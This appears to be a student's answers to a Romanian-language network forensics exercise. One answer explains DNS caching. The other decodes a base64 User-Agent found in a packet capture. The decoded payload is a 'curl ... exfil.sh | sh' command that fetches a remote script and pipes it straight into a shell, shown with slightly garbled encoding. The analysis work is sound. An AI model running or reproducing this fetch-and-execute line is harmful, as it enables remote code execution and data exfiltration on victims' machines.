

Q1. Ce se întâmplă atunci când un client face o cerere DNS pentru un nume de domeniu pe care nu l-a mai rezolvat recent? (Points: 25)

Clientul verifică mai întâi cache-ul său local și, dacă nu găsește o intrare validă, transmite cererea către un resolver DNS.

Q2 :

Command :

```
strings capture.pcapng | grep User-Agent
```

```
# User-Agent: MozillaFirefox
```

```
Y3VyBCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vSGFja2VyMzk1LUFMV  
C1GNC9VcGxvYWRIZF9maWxlcy9yZWZzL2hIYWRzL21haW4vZXhmaWwuc2ggfCBzaA==
```

```
Y3VyBCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vSGFja2VyMzk1LUFMV  
C1GNC9VcGxvYWRIZF9maWxlcy9yZWZzL2hIYWRzL21haW4vZXhmaWwuc2ggfCBzaA==
```

```
-> curl
```

```
https://raw.githubusercontent.com/Hacker395-ALT-F4/Uploaded\_files/refs/heads/main/exfil.s  
h | sh
```